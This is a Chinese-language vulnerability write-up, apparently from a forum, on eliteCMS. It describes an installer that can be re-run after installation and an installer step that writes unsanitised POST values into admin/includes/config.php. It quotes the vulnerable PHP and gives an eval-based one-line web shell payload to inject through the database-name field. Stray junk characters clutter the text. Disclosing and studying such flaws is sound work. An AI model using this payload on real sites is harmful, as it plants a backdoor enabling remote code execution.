eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

1 K3 G& [  o9 f7 p( N# I另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
% S6 F: e9 ^. f7 R" E1 |) T我们来看代码：
. ?4 W) R1 L% X
. q6 W- o- P, z+ q, k# w...
elseif ($_GET['step'] == "4") {
* e# v( V& d7 B: I; f    $file = "../admin/includes/config.php";
    $write = "<?php\n";
4 U6 ^2 _+ r  m# i0 ~; _    $write .= "/**\n";
/ |+ D% }* m, M' ]; V" n    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
* p1 Y1 \. d. _( J, Q- W...略...
7 o( \. b6 m- }1 P/ Q: [% b: l+ E    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
1 E1 B. ^, q& |+ x# m5 Q    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
! u" m; Z# V0 x1 n4 b7 T    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
) _6 m: V3 G1 P! p    $write .= "if (!\$connection) {\n";
$ R" r) \1 ?) \+ ?4 U% R    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
& k0 J* @& U& c) U0 {% A  M6 \    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
3 P! P- c* \$ ?/ {' |" O+ w    $write .= "        \n";
* _2 J  d: E. B    $write .= "} \n";
    $write .= "?>\n";
& W; G8 ?: x: `* e2 W$ g1 V& F
    $writer = fopen($file, 'w');
% O- r% ?' b: p; Y! L8 x: w9 o...
: X8 O$ {. f6 U8 o+ t+ R
在看代码：

. R- d2 [2 O! d0 c2 n* Z0 z3 m- z$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
" n3 }3 ^4 Q7 b$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
6 X( I) `: H4 B4 D) d8 k3 \, g! @$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
) ?) W7 J& B- {8 }8 \3 d. V% D
取值未作任何验证
4 ]$ F) r6 m  A2 h/ |# p: P如果将数据库名POST数据：

# m- F. k" R6 q"?><?php eval($_POST[c]);?><?php

4 H$ t0 D6 |; |8 q+ D* n) i将导致一句话后门写入/admin/includes/config.php